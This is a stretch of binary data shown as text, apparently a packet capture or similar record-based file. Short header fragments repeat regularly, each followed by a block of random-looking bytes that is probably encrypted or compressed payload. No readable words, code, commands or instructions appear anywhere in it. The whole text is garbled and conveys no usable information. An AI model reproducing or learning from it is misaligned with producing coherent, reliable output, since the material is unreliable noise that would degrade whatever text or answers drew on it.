4¬Z­œ ob2® ¬G!±JpD6Fvª Ô T¡ LpD6Fv¬VVBÿÿÿÿÿÿ¿2) T¡ Lð­çòÙÓó¨ìðý»VO¹ì^T½’~†{›@ŽÞÞ°)%«…ê ‰ØÚqÔsMצˆ©i3£:[GpD6Fu¶ Ô T¡ LpD6Fo¶VVBÿÿÿÿÿÿ¿2) T¡ L®•ô–J$ÓèB¹?žã'Б¡Õý1ˆß+ã2ïƒA±P£º!µéÞýðzSH¹ë»ù*ÔxÊEWi¬¼àpD6FuÀ Ô T¡ LpD6FuÂVVBÿÿÿÿÿÿ¿2) T¡ L®l>+H¯ˆ_¬Ä¾mä¸:º ëåö÷+TudÄe¡Ús-϶p¼S&|Ï6N 42øô—å4’¹xÀMpD6FuÌ Ô T¡ LpD6FvÎVVBÿÿÿÿÿÿ¿2) T¡ L ®ùJôQÃëMQj–ceq÷õJi_hžCðŽ£—ý!S¿BÞØ®Âþ‚]VU!y÷K[eØ™¢Öåâ±ËpD6FtØ Ô T¡ LpD6FvÚVVBÿÿÿÿÿÿ¿2) T¡ L0®1‚¨Wn¾aSáòê>Qߤ¯×°ÍKÿoÕ× kg;1F{ù8KÖñ›V>Yfá<óüåQË<Ñ@pD6Fuâ Ô T¡ LpD6FväVVBÿÿÿÿÿÿ¿2) T¡ L@®ZRä 0[ÃèrW^{fãeÜüù¥\3-uf+ŒÈ—Ñ‰—(E b¿Ö(,Õs•ŽÍ~ÈpD6Fvî Ô T¡ LpD6FvðVVBÿÿÿÿÿÿ¿2) T¡ LP®Ýöoÿ;äYÖ1„»{ž{¼çÎ3:>3É{ÖŸ´Å?‹s9kv õÕù²U¾ãqQg~ß%tée–‰XöÒApD6Ftú Ô T¡ LpD6FvüVVBÿÿÿÿÿÿ¿2) T¡ L`®p™µ¼-þã 9‚õ~v—ÕÝp8¾ò60¢¡…²w„# äEpž—Rq„Šž_â>Á!+µ/žt¡ñ pD6Fu Ô T¡ LpD6FuVVBÿÿÿÿÿÿ¿2) T¡ Lp®ó8’Cv £MÒ=­Sn¾ Vf‹5[ý|”«ô$‰Q¬zMÝ%ó“ó"¿ú¤,`„eÁ[CâÇÀö^í±~öpD6Fu Ô T¡ LpD6FvVVBÿÿÿÿÿÿ¿2) T¡ L€®%iz·T=5}Øsg€h—^JÙ«"x:3Öð åÝ; ‹?m<{iõ»ne´"Ð{Ϭü÷Õ;¼®–ǶwpD6Fu Ô T¡ LpD6FvVVBÿÿÿÿÿÿ¿2) T¡ L®Tå1÷5ôo±P¥±åÄ”Î>µmžÏ`(™X¸“pÆ+1y¨€+Œ\ÿê¿°ßÿ)ºhÖ¾ÄðŒöJ¯pD6Fu( Ô T¡ LpD6Fw*VVBÿÿÿÿÿÿ¿2) T¡ L ®Ú2ê‹}bXz¸ó2`è“9£þßat4'E٠߆Ïh¾vó‡b<ø âË~º—|iSî% §)õáœpD6Ft4 Ô T¡ LpD6Fv4VVBÿÿÿÿÿÿ¿2) T¡ L°®(þ¨÷’£X|R§èPµ\µws¨ë„J´åØCĽFÚvÎk]I%€Þ‰ŸA™ƒ_”«ªª¼¶¿ürŠZ”bpD6Fu> Ô T¡ LpD6Fv@VVBÿÿÿÿÿÿ¿2) T¡ LÀ®(ˆ³DS9N±«qÓIíã­ßuȦDzá:¯ÌTáQVýC×ô…mø€|8N¿.ûÑ{õ‰ñTÀpD6FuJ Ô T¡ LpD6FwLVVBÿÿÿÿÿÿ¿2) T¡ LЮº?::ßs¾Qi*Š|ì pL:%ïŸæzÔW'ص#ù¢à×Õ°äÅ*ã È©ÜGÙÏé`‚Ž~pTpD6FvV Ô T¡ LpD6FvXVVBÿÿÿÿÿÿ¿2) T¡ Là®ÙVÎãÖÙ¬(¡9’ý¹ìá¥î Á ŸÚÑvaA®¡”¶ðWFÁ1z( $Äs[ª`Íød¢d9Zˈ®pD6Fv` Ô T¡ LpD6FubVVBÿÿÿÿÿÿ¿2) T¡ Lð®`ž>‚]å9%‰Ñ1y)°ìO|`ÁöŸaˆY„ëYA –™½®ïîÊ Ô´Çî„xxk˜×6ÃhgÊã¯pD6Ful Ô T¡ LpD6FvnVVBÿÿÿÿÿÿ¿2) T¡ L¯ ¦H6ƒ2‘ÎéH_Þá,’[žì‡›äkuhO1©ó|Cæ‡-аá2ãNò®wäOP®r¤5¶þåpD6Ftx Ô T¡ LpD6FvzVVBÿÿÿÿÿÿ¿2) T¡ L¯ÌNµýÄã¡‚xÓ ¶n|‹nE’J¸”R]îüÓ¹Ì\‡ÀÛÇ%Ì5P¬¤âqŠAÍyX¤mqvÌÝø]Ãd;3 Á%æh¤õŽÖåËÕÏó¾X1«ù¯â*Ò7ÂpD6Fv. Ô T¡ LpD6Fv0VVBÿÿÿÿÿÿ¿2) T¡ L °$Þ½©v“¬Ù—àz€à.qú¸¸ïŠDXÒ¨Þr-€e?Æ(¡œexÛƒXÞÁªèD ÅÌ•pD6Fu: Ô T¡ LpD6Fv<VVBÿÿÿÿÿÿ¿2) T¡ L0° NÒoTÌ•ó3¶l)µËôáÒ„Ö[׌Ë÷Úq4à ‚5±¡•ãq ×A·U N™w±Øn΄pD6FvF Ô T¡ LpD6FvHVVBÿÿÿÿÿÿ¿2) T¡ L@°ð¼7œr {›qÓ–Öa.Fžýq`G3x¶÷MG1ÃÈ€·®çcöñUÇQº îœ÷ùÈpD6FuR Ô T¡ LpD6FvTVVBÿÿÿÿÿÿ¿2) T¡ LP°ò¢-iÀ›•Z6/AÎ_³~Uß»í\±1އ™Jb¿ ˜§§Ø€ÓF›fñÐú¢Ùz‹ øÖ°ßëpD6Fu\ Ô T¡ LpD6Fw^VVBÿÿÿÿÿÿ¿2) T¡ L`°kèet~ê†f—ÌÅ å@ñ×’2± œ‹&’¦Ã6gVj ¤'š°Š=~ÍR¸  Œ3—Q)n|¨lMpD6Fvh Ô T¡ LpD6FvjVVBÿÿÿÿÿÿ¿2) T¡ Lp°*pûaŒ·ôøRiÂU ½Øû+1}}ÂO)ñ€`kIñMZ^ø—aù÷Cß©/«Ã¢j]±Æ²¹Q¥{pD6Fut Ô T¡ LpD6FvvVVBÿÿÿÿÿÿ¿2) T¡ L€°2‚šß¦µË¬*B>ØÀ½wÄù:¹ºVcäÇëÒŸÔá%›Û¢{;ëÚ0^ýÂêŽ:€¶YB¶˜SpD6Ft~ Ô T¡ LpD6Fv€VVBÿÿÿÿÿÿ¿2) T¡ L°<°ØMËÉ;és€jµû;èî»|QÎ¥ÙÐçù¬!¦æX¥¹;<”ÐbEœñ[¥ÊN/ŠÈÑ?äÒ¥>­pD6FtŠ Ô T¡ LpD6FwŒVVBÿÿÿÿÿÿ¿2) T¡ L °dȘøkÜÑQ-]ü9$„K„Þ‡tÇÆåPÈ»;R±;z =NÖÿáNi½£m—^ŽÐO¸ê´æípD6Ft– Ô T¡ LpD6Fv˜VVBÿÿÿÿÿÿ¿2) T¡ L°°Áb}aö=\‹O„ÌR„œ ‘‹#®Uعöoöál^ªÞkãðõà—™ÂÕΞ-Q®´šŠÅa†ïå»pD6Ft¢ Ô T¡ LpD6Fv¢VVBÿÿÿÿÿÿ¿2) T¡ LÀ°ÂIøFDŸˆ#•¨¿½õÈvøY;§ˆÚ”²æ–®í.bî.à,Ôÿ%úffeoàûT g+Âwуë6pD6Fu¬ Ô T¡ LpD6Fw®VVBÿÿÿÿÿÿ¿2) T¡ Lа‰æŒÌ“š¬k|]ž(2˜ÙrAÀ¥Ù{ýwe+OH2tï„杻º"½®‰yU3 >=ëT‰k†²tóºpD6Fu¸ Ô T¡ LpD6FvºVVBÿÿÿÿÿÿ¿2) T¡ Là°­ìz‹BdÉð9s-„Ü–Å"4ÈD‹ÿ1:Ll?•]«—¹u¼ð‚vn$s ,âò¢§\±gsÃpD6FuÄ Ô T¡ LpD6FvÆVVBÿÿÿÿÿÿ¿2) T¡ Lð°¸`Ý VƳ&”IV¬“‰ ûŒâ[&xÖÖ ¹,ÒÕ(ijÕZâé˜óµTƒ•rD²ï÷jpD6FvÐ Ô T¡ LpD6FvÐVVBÿÿÿÿÿÿ¿2) T¡ L±Š(n%Ø".'/ícÅj ¦by;qz÷tPî@.7œÕÿ*ŽAЖ”µ³g˜»<âMeß‚:¿È…pD6FtÚ Ô T¡ LpD6FuÜVVBÿÿÿÿÿÿ¿2) T¡ L±åÀssï$F&FoŽ;$"Ôüvj¦ûÙj‰0UËdá£ØÊ5Ó".©0¥48ÉŒnpŽ`ûÀ÷Ì9ühóyµpD6Ftæ Ô T¡ LpD6FvèVVBÿÿÿÿÿÿ¿2) T¡ L ±ô6ñ|RÃù@d÷"+ZæJ(÷°S°*±­+c\žÌÕ¤gÓŠ(pÁ_—9ŸsãÁq«KÐÈèspD6Fvò Ô T¡ LpD6FvôVVBÿÿÿÿÿÿ¿2) T¡ L0±:–iÃ=Ð;ijþ¦Î«M4KE½=ïË€ÒJø ÂûáÂ-+Õ[-ùâ…3îGޝP…²ôýr¨é—pD6Ftü Ô T¡ LpD6FuþVVBÿÿÿÿÿÿ¿2) T¡ L@±“^oÓ˜ëwU ŽEâϯšÛ¸oGyÝw­"ŠFÞS!{nÏiA¢‚ Ï"¡åŠ¿€ûÿ꿞¯2­‹¯pD6Fv Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ LP±Ij×ûõ§kçÚ“Mè^h°ŒHˆt[ò¥Óæj[Õ†Fì•ìØbGQûèh™û»úLìþçódg§ÒU1ÙpD6Ft Ô T¡ LpD6FuVVBÿÿÿÿÿÿ¿2) T¡ L`±DBoîIPæŸÖ6ïö<ž«(8’’TlsraÁ ÷4ÆÓ}´ãƒ¨£¥pté®V¾jâ@OX™¿V~¬¡pD6Ft  Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ Lp±uÆÜ8ðe<©?3˜°9» ¾w‚èóÞü°¿Ÿ…££"ÎÑSIÿe[F„É·»À‚‹!9zØ¢5ñpD6Fu* Ô T¡ LpD6Fv,VVBÿÿÿÿÿÿ¿2) T¡ L€±êØFQ† ´éYòf±ž"5N3ÛÄþQ0]CÊýõC@9™Õ„,¢«Á2k:Öl²ë=ëG;‹{æpD6Fv6 Ô T¡ LpD6Fv8VVBÿÿÿÿÿÿ¿2) T¡ L±óÞ™ÂÍË×ÉYnÅ@–Óó¶ f<ÑÜä` AuEÐ(=ÒPQÉÖ›c`®zPaæzSQÉ1™Í¦Ö& o0ÑpD6FtB Ô T¡ LpD6FvDVVBÿÿÿÿÿÿ¿2) T¡ L ±ÑPMþ<äÿê– ·'EY:#”ÈHQêøUñ¿oLaÔ ´¬4 Ÿõá©öáI Zqt¦¿°ÅüÏpD6FuL Ô T¡ LpD6FvNVVBÿÿÿÿÿÿ¿2) T¡ L°±¢¢†§ý-“òcœÈÁÁЪ줓‘‡üSô£òÜš@{Á«ðFËLO»L¹  YŠŸ'R “+Àtã'pD6FuX Ô T¡ LpD6FuZVVBÿÿÿÿÿÿ¿2) T¡ LÀ±9œ³SuXdF¤ñû÷=Ë>ãžW§ŠáßHy$]PÏpK•ívbJª›-¹H‰ g0“Að's»°Hç±pD6Fud Ô T¡ LpD6FvfVVBÿÿÿÿÿÿ¿2) T¡ LбÑî!—¬ž²§íH©›¡²ÒíFwtÙšÒ.—ÀPƒRôsÒõ‹V€i“È€CÈñöÎÇ7 \ Ù ª=pD6Fup Ô T¡ LpD6FvpVVBÿÿÿÿÿÿ¿2) T¡ Là±û˜À@}‹F¢<âuBä°ò¢˜·Á½üý%C,ó˜.lÆ™ ¬Ë¥ÛÑV½Æ_ü‡qü¿@l`æõbýà pD6Ftz Ô T¡ LpD6Fv|VVBÿÿÿÿÿÿ¿2) T¡ Lð±›$`8DÛ~ÔùÀÎrÊŸoÖß-(qöÌeм‚ʬXÕêñÆñ5‡€׆ûçÌ̇µ5“Š|ƒ¯^ÇÏpD6Fu† Ô T¡ LpD6FvˆVVBÿÿÿÿÿÿ¿2) T¡ L²γ\5Û¨¸½ZŒöX²^Ö“•Hؒݧ³)¢ˆuM–ä4£aØ,õx qf0Tz :”¼ŸÂ †ŠÿSÄpD6Ft’ Ô T¡ LpD6Fu”VVBÿÿÿÿÿÿ¿2) T¡ L²ç`üõ¦ÁâÈA9ˆ¦*91¶§áNBÝ‹¤ä¼gùcØxò¾b®ïyN/t?&ãIT‹ÏCàÉ,MWú1Hro¹pD6Ftž Ô T¡ LpD6FvžVVBÿÿÿÿÿÿ¿2) T¡ L ²,ˆË_ïí;‚…U†ûÉšp'ß¶}ʤ{àä{9õš>+H„tz‘«tgšº«â™Œã‰ê hà™mŒpD6Fu¨ Ô T¡ LpD6FvªVVBÿÿÿÿÿÿ¿2) T¡ L@²KÈ”×ÊCÞ¡Y„‚¶ñísì×›Çðú,7ÜÁOl ,èw_YŒ­Øk9KHØJó&<ìNº­Cq“pD6Ft´ Ô T¡ LpD6Fv¶VVBÿÿÿÿÿÿ¿2) T¡ LP²e޽C½RÈú">Fý†95R`‹ޱ|öq;çwî%nÊAKÝ^b÷‰’µÙK ’ÿˆ{¥«¥Tâ6HdpD6FuÀ Ô T¡ LpD6FuÂVVBÿÿÿÿÿÿ¿2) T¡ L`²y¶{eð º -¦¤l €¸Ð4£në kßý1ccZ_%*šÍ4TnàÙyO{_š”hrow† !3”pD6FuÊ Ô T¡ LpD6FuÌVVBÿÿÿÿÿÿ¿2) T¡ Lp²×î+ôa¼æ´m_}X‹WóÎÅ!¹Œª°¨Þq¨)O˜ñùÏK&@šG„ü% ‡ ÂÊçøµÓ‚pD6FtÖ Ô T¡ LpD6FvØVVBÿÿÿÿÿÿ¿2) T¡ L€²vþ3´&§å‹Ð­ ¦ø¨Ÿó[ߨ"Q¶*¢12?q M3ìvã _¶¹JÓ™Js=^ô.‡KÄ •ìÑ•pD6Fuâ Ô T¡ LpD6FväVVBÿÿÿÿÿÿ¿2) T¡ L²9U=ØÖöŠ&È·Ë0ý²%‹p(×6Hhâ‘FŠ"Bn+z”ÕM'ºA"kB‹o/š–E3+U”Æo—?Ï.pD6Ftî Ô T¡ LpD6FvîVVBÿÿÿÿÿÿ¿2) T¡ L ²s†k¹L5Zy]kr£!€fIµÃÕ•ÉlY²j[~ù2Ï›]á~ÒCLýõdµKO§–#$‰nQ‘ë‘­lpD6Fvø Ô T¡ LpD6FvúVVBÿÿÿÿÿÿ¿2) T¡ L°²2Ü„Âÿåð.êY=¢Z± LA‰áHÄBヺ(½ú„rò?¤;ßWÒbHQQmÚ¥%~–µ;î·»XvpD6Fu Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ LÀ²ßRkÏ!œJ.õ”}r4‹Ô Ê–¨XTÙO¶!C F_­ šÖSb§7ªnÄú Fx1Qyè\ÂæóF~‘˜pD6Fv Ô T¡ LpD6Fw VVBÿÿÿÿÿÿ¿2) T¡ Lвq bbÇÚç» – ÖÄr±Ì{Hï«gˆ)LÚ$\Y¿ɉM­Ð›Ståh½ Ž#ãQf7›ÄÄbžÁñpD6Fv Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ Là²PDò¸-”¢Î¸iaLøŽñ§Rfe+s¤)2¸÷ùõ"„àhÁ²3SéfÜc’Öáà¶ñvÍÀúÖpD6Ft& Ô T¡ LpD6Fv( VVBÿÿÿÿÿÿ¿2) T¡ Lð²ó*¥Î‘ý¼ÁðBËr:÷ˆZ’Ã`mù9xþBâøŽ•ú[Šq×öFGKµ¥¡§š`iî4ÊùÑ”ª,pD6Fu2 Ô T¡ LpD6Fv4 VVBÿÿÿÿÿÿ¿2) T¡ L³ÿ†î Xº4ë²<„ñsNo² ú&‰(~y‰U!>0€¹€°¹}pR7Iˆ#ŒZÔ1Á 4Bu¨nò“T¬pD6Ft> Ô T¡ LpD6Fv> VVBÿÿÿÿÿÿ¿2) T¡ L³-~Ý(¬$žr=Cªã ¬M!æ§KưÌ8Z(§ýÕ¯çëUEñë®Ôh… ²@Iw9&Ì$[ЉFpD6FuH Ô T¡ LpD6FvL VVBÿÿÿÿÿÿ¿2) T¡ L ³>pÜêúóÿîÎp‰Pôjï«~è=g« àê3ç.–\Úÿ–úª®.¢‰’ü’a.ˆO¬?LÇ¿³æTcVpD6FuT Ô T¡ LpD6FvV VVBÿÿÿÿÿÿ¿2) T¡ L0³Ór×¹‘´;Q ‰öíö<[ñæ5yÈT1´}w¿<Í"hÜê°/7qšC7dÿ"«Z°t„oJepD6Fu` Ô T¡ LpD6Fvb VVBÿÿÿÿÿÿ¿2) T¡ L@³é6ö¶àÚ‘¬Åc­{Òk&p*ãŽ2™”Yo,™0ÓDïa]—O‚D‘CÒoÚÎYÔôFµYÏŽ®DÊ•ÅL¡ÌpD6Ful Ô T¡ LpD6Fvl VVBÿÿÿÿÿÿ¿2) T¡ LP³/”+ÿ3E9ZX(ÂÌô_Žê+@ææ ¥N´§+ÂÁ¦Ô-ó¾b®J ?s¶êeðøÓúlh°ŠüĭοpD6Fuv Ô T¡ LpD6Fvx VVBÿÿÿÿÿÿ¿2) T¡ L`³o–ß`@,ÆÛzðÁ–På@#ƒpD6FuŽ Ô T¡ LpD6Fw VVBÿÿÿÿÿÿ¿2) T¡ L€³©*ÅéZ_-Û³¦º rKþþÄ¥x°%"–kœxQ¥ËCüag 8œ£ø]ℱ8ÓpÀë™õ¶pD6Ft˜ Ô T¡ LpD6Fuš VVBÿÿÿÿÿÿ¿2) T¡ L³Iˆ§Uå'/l¨ÉÌûµ4vžÎÔmO¿G•#‰6 YKs“Úë!ÝžÍà–?ö¡Û:₤Ú@ Ð9í8qepD6Fu¤ Ô T¡ LpD6Fw¦ VVBÿÿÿÿÿÿ¿2) T¡ L ³¨àó>9zÌÄD:`S<˜j A 5ZÝ( ? ·ÏS 7Þk«w,CªÙÙ8Ÿ«&T– /¯dyàïKŒlpD6Fu° Ô T¡ LpD6Fv² VVBÿÿÿÿÿÿ¿2) T¡ L°³‡¢Ø}B¬šÂ¸Ž &vGÁ´L‰;.å VðNUºWZmHâûêîÜìR‹%xˆ¿<“Îf˰A“lXÉ 5pD6Fu¼ Ô T¡ LpD6Fv¼ VVBÿÿÿÿÿÿ¿2) T¡ LÀ³ÃŒ³æè»©Ø‹¶ž T!r_:äXàzCRf‚Ÿ?x{ëÓ×Ã=÷œ…l*ÁîI5ï=Ï"RùÈ,pD6FuÆ Ô T¡ LpD6FvÈ VVBÿÿÿÿÿÿ¿2) T¡ LгVL×qì°ídÚºüF¼«‹ÞÙ±ál‘©yƒ/Ú´„ 7TJºÒ´Aý¿ Ò%ˆrh8КéŒpD6FtÒ Ô T¡ LpD6FvÔ VVBÿÿÿÿÿÿ¿2) T¡ Là³Ε©™—Žmáfþ’|ø«Øð”Š:9ž-è„—:£Å‚Ø]’`lgs™ D~ˆžÙîÆÇaü¢µÁö$ÔpD6FuÞ Ô T¡ LpD6Fvà VVBÿÿÿÿÿÿ¿2) T¡ Lð³‰~±Š—kšC .ä7˜AÀ” ­­¼lË–h‚OuòEZ/ ÙWnÎ ÄstH¦@M­u“›òº E_pD6Ftè Ô T¡ LpD6Fvê VVBÿÿÿÿÿÿ¿2) T¡ L´+ Q—eà?ßvJp·Ï„zCÓÌ«Âü‚ÅËó”f$ž|X­ )¢KüóöÂ~;¤Úí˜$ámpD6Fu: Ô T¡ LpD6Fv: VVBÿÿÿÿÿÿ¿2) T¡ L€´J»„ ô&Ò‡ÒõªpHäÚÙX›¶8Ê©‘pW–÷Õ·€®Í* DPwƒ_ˆ5èû‚÷‡”pD6FuD Ô T¡ LpD6FvF VVBÿÿÿÿÿÿ¿2) T¡ L´ª£ˆ>‘ï2" 0Ò¾šþ4@øhª5(_ÁS+ƒ¾ÙOt´w¼nÍP‡Û·6Çi)amWÔá' Xoµ›pD6FuP Ô T¡ LpD6FwR VVBÿÿÿÿÿÿ¿2) T¡ L ´ü0·…aê4ý¿w]õe‚@ØvEÒå€ÍK¥'\f ~Q‹’®ELtâî%pf¶ØÞ4—H-'k•+Ò&pD6Ft\ Ô T¡ LpD6Fv^ VVBÿÿÿÿÿÿ¿2) T¡ L°´f§'î`—ÔWKé~ãÎí>°0šYW3¹L|¢+‘ Ùü‡0˜ÅŸÆ°_Çð$ý—媂(mÁˆÝËPš¥8pD6Fvf Ô T¡ LpD6Fvh VVBÿÿÿÿÿÿ¿2) T¡ LÀ´Ç|³·8–dVûdŽ7—cž¼ß¹G§’Ë6HI¹y++¥;¶,z..g®{.Ì·¹}²Šÿ“% PpD6Ftr Ô T¡ LpD6Fvt VVBÿÿÿÿÿÿ¿2) T¡ Lд©¶9þ¸¦çHæìZÄ*4Æös²ËÇÝ ™4bøo:ÙF¶ æ•I,dM È™OOì”õ½f0^êpD6Ft~ Ô T¡ LpD6Fv€ VVBÿÿÿÿÿÿ¿2) T¡ Là´Æt&¡9á)Aö-:PW密&ÕLü’l“çÜ2‰üp‚ìn1B’¤”ÎïperÁ/ðŠlFvÛ·&ôpD6FuŠ Ô T¡ LpD6FvŠ VVBÿÿÿÿÿÿ¿2) T¡ Lð´0@Pšü¢b¸U/¸+CÙ:ÌÃ2²š:¡tHꤣ#‘¥!1–kîÀð–Û´´ïö^!ÏnBð4¹JòpD6Fv” Ô T¡ LpD6Fv– VVBÿÿÿÿÿÿ¿2) T¡ Lµ2â)AíÝÀÚ{Ñjx™×]&Ãò§¦ÿ »«õ‡|øó5ßÁŒ`¶ü¹»t |„#]æç´ ³¥@6´pD6Ft  Ô T¡ LpD6Fv¢ VVBÿÿÿÿÿÿ¿2) T¡ Lµ\ØÖ_Œ¹ñÁ¥ú@éÇ"ÊÉ)Äèe;²ÕhûÏ@x»+o *é_ ‹¼güÃ?xE–_ùjxLpD6Ft¬ Ô T¡ LpD6Fv® VVBÿÿÿÿÿÿ¿2) T¡ L µÔAu†YS/È®É@B³´­ \-|ç#(W÷àHÐOÉ÷æ0D!ææs.S%!·Ãéøc'·©ÉFàxgpD6Fv¶ Ô T¡ LpD6Fv¸ VVBÿÿÿÿÿÿ¿2) T¡ L0µHʨz²DZ¿ÕJq½ôAÂĈsЪKÖ40â5Å\ýùwAc÷D#öÿ¨q§ç²¥.¾š€å}?s²êmîd @ Z—92"Ïoµ­ŽåbôpT꯻T –mHó(ÈÞL×;ÎKSm÷/xÎ'ÿvpD6Fuð Ô T¡ LpD6Fvò VVBÿÿÿÿÿÿ¿2) T¡ L€µP(ìkåsLc‚‚6-™g ª×ÄȹM2;‰'<áZ½ïû*°ÿ¡ÝðŸ1ûÓúë¦TÞl!E 'ÿ Q@pD6Fvü Ô T¡ LpD6Fvþ VVBÿÿÿÿÿÿ¿2) T¡ LµƬT¹T#îLΚ¹g¾3h÷Éu81?ú(þC&µîo[Ò ·¤.LW“–¬|Hëh/TÁÅ:ÁMLý¬¸,pD6Ft Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ L µú*ôÆ †¼È-Æás‰)± äáÁ¤Ì, Ò(fà¤-`ͧçOÓ´˜! #’ µ*ª°ÏpD6Fu Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ L°µ(BˆœÓHQ6fï6L4Šwbq§¬~±{ºÖ³Xs·(ÀâÅ<Ú«u2ˆÈµ8dEt€.únô¤?Nò5;pD6Ft Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ LÀµW3pÎÿ-×{KtD–˜b+q$ÞË]^`Ö8ï¡Yb?†ö¿µMI¥þï›<̵¬g ©-ÎBˆÅ'¸Ú˜ö¿pD6Ft* Ô T¡ LpD6Fv, VVBÿÿÿÿÿÿ¿2) T¡ Lеðâ0› Œ(›Þ>‚Mð˜ïDàõÈ ø¨ßˆ)öëºëkï:2Ð ÆÝj_ˆÑIJœGk3t3 5ò âpD6Fv4 Ô T¡ LpD6Fv6 VVBÿÿÿÿÿÿ¿2) T¡ LàµÈô6¦ÃxTÙîXˆUì4w[Bï´s®¹n)ÇLÿ⃘™CNéCX( ˆÖd]#±÷J¢YR"pD6Fub Ô T¡ LpD6Fud VVBÿÿÿÿÿÿ¿2) T¡ L ¶™žU:⽂»³1úÊštàE­=äcÿ´1iÞ™ìÓ3Ë41 ’a'âã_ä5r˼8¨lÛ§—NpD6Ftn Ô T¡ LpD6Fvp VVBÿÿÿÿÿÿ¿2) T¡ L0¶ø²[(: «¿u½’Ñ$µþ–®“.åš]籿hf`*7^üИ1§Sœ%•½~ÞPĸ<°úpD6Ftz Ô T¡ LpD6Fw| VVBÿÿÿÿÿÿ¿2) T¡ L@¶Ñ&øŠgP7×èx§iæÎÀíу@¾g\#Ôð†Ç­ëì[O>Ù¬º2  å Ï|Öˆ– ë‚÷¼pD6Fu„ Ô T¡ LpD6Fv† VVBÿÿÿÿÿÿ¿2) T¡ LP¶?½£ëù)ŒÔÁz‡^Y¢öìŸ-¡µÇßd3(øxG_T°ÔˆQMöóÆh·ÂEæÛ`õZx£}U7ì¹îpD6Fu Ô T¡ LpD6Fu’ VVBÿÿÿÿÿÿ¿2) T¡ L`¶²¨Œ_@TEñÕ…Ud±€gÞ”/͉(‚ú3D dÆ5»×$Ó€Ô›¡;!J”Èå;(%Ÿõoþ«”pD6Fuœ Ô T¡ LpD6Fvž VVBÿÿÿÿÿÿ¿2) T¡ Lp¶ N°<½8d“¿=)ÿ2O**Zò¢_6'thý·¥D%gCqÕ .E¡xì$Öª}ÏãpiVÛÒž¸ÛuÖÕÛpD6Ft¨ Ô T¡ LpD6Fv¨ VVBÿÿÿÿÿÿ¿2) T¡ L€¶cØDNh†¨ñM”l˜V÷cH¦ÅSßßZaîg{.ÀÙD”ÉöƒÞ+»"l ]åüÚêÍvÜ/½×ðºoŒpD6Fu² Ô T¡ LpD6Fv´ VVBÿÿÿÿÿÿ¿2) T¡ L¶(Äì0S .úþê(5gùŽŸØª\ñMŸÉ&Og®†¢Ü.Z¿ò PuË"o©Ò#An{`Ù@‡®ïpD6Fu¾ Ô T¡ LpD6FvÀ VVBÿÿÿÿÿÿ¿2) T¡ L ¶°Þ0ÆöÑÐKýjÇ(®©ô#Á×ÊÄø5«›ûnr~fÇjð_¹òÁ—zê›%­ x×Ý¿o"´œ§‚pD6FuÊ Ô T¡ LpD6FvÌ VVBÿÿÿÿÿÿ¿2) T¡ LÀ¶ã>$Âlõý’ ÑÜË;RÔš¨¢¬À^H)cúùr’ÛUÎʼI&Gõ[{⾡"lþ-’Ç—k9pD6FuÖ Ô T¡ LpD6FvÖ VVBÿÿÿÿÿÿ¿2) T¡ Lж¦H'”×i71«¨ÚÎðky·µ…ŽËb‡Œ³u ZÚ×"ßCã¹TA„k%+,¶‚µ:žØ/¥3lu¥pD6Fuà Ô T¡ LpD6Fuâ VVBÿÿÿÿÿÿ¿2) T¡ Là¶XàIÿœ(ìé¬ãÿSp‡X‹|4<5¯r‰ŽÞ/›+Cf¹èÙnnv⽫o¶±ýÓXdONr¡5äQ|U&ápD6Ftì Ô T¡ LpD6Fvî VVBÿÿÿÿÿÿ¿2) T¡ Lð¶È`ÿ¯ÿɪ§™Ô¼u/Ç èü T0á¥[qÐ^$ëÍ÷•{HЉ%ocäT·œÇ»5Õ…èÿÇI_3Ê–pD6Fuø Ô T¡ LpD6Fuú VVBÿÿÿÿÿÿ¿2) T¡ L·j؈ætøãTÖ=\ ‘>â“üå0LôʃÚ`™]ín÷Úƒ*Øtù8\ >Šê¹6Žû^‡|•›‰YßpD6Ft Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ L·øôl«™¢ÁmÔÍ}@dØý¤Æ …|2£JæmïÀÈM;‹¹Aüß6#…9Mª/`G´öÅ<|Þ…~ÝræpD6Fu Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ L ·º(t;ÁߺI0?›7 ¸ÇÿS´SºV³†Ô­‡õ(ièSc¶É~IX烥t&~M²83%­•V¾¾Û2pD6Fu Ô T¡ LpD6Fv VVBÿÿÿÿÿÿ¿2) T¡ L0·C0œ-PòÞY“QÅ”¢’´cÉžaÓ:¾+Ñ~íΘb<ø¾e£Ovãžk®\žŸç EsßóocXdU¦#pD6Fv& Ô T¡ LpD6Ft& VVBÿÿÿÿÿÿ¿2) T¡ L@·zéÍ*Ú†²‹•L®ùØõ¸ÂåâOPègn#M ßFx¼ŽrTø^*Jl|.Ü NgÞÒ‚iŒ,/v`ÐpD6Fu0 Ô T¡ LpD6Fu2 VVBÿÿÿÿÿÿ¿2) T¡ LP·%Ìpn Ò“p¸G2SÖ2“‹ŸÝí=éRÛô+ŽÚ×ê3‰ÊhÈ@Ë1ØÝQa$˜qYÙ‡4½çïõIÅ`ú pD6Fu< Ô T¡ LpD6Fu> VVBÿÿÿÿÿÿ¿2) T¡ L`· ʯ§Åï“CÙËųÑr9°+h‹Eõ>þT)Åۼ­I|Þ¯@{.-TxˆXÙ‘}‹ðiœ@ц:ÌúpD6FuH Ô T¡ LpD6FvJ VVBÿÿÿÿÿÿ¿2) T¡ Lp·jLÂÇݯÿrÁ?ò^p5èó‰¼8‰–Æumй¿MÏ­À ‰™Áb=ÒÎÖ ® L|ã6èìk{"Õ£|pD6FuR Ô T¡ LpD6FvT VVBÿÿÿÿÿÿ¿2) T¡ L€·ðVŒ¡ ¦UÚnAW5¶Ì6ˆ¶01øØü¶è¡e{«JÒå*P))³…·´'992o›TÀž¯iGâ\ã pD6Ft^ Ô T¡ LpD6Fv` VVBÿÿÿÿÿÿ¿2) T¡ L·VlŠ’KNó2,~ÌáÅÙ¨‚”°S Eé•ÓqÑ-M9·¤Ö84˜Êú€+‚¥#‹D ]€òW=>€â pD6Fuj Ô T¡ LpD6Ful VVBÿÿÿÿÿÿ¿2) T¡ L ·ù®p<˜ãT{R5­Õ àéKl&Š^ymõ@ 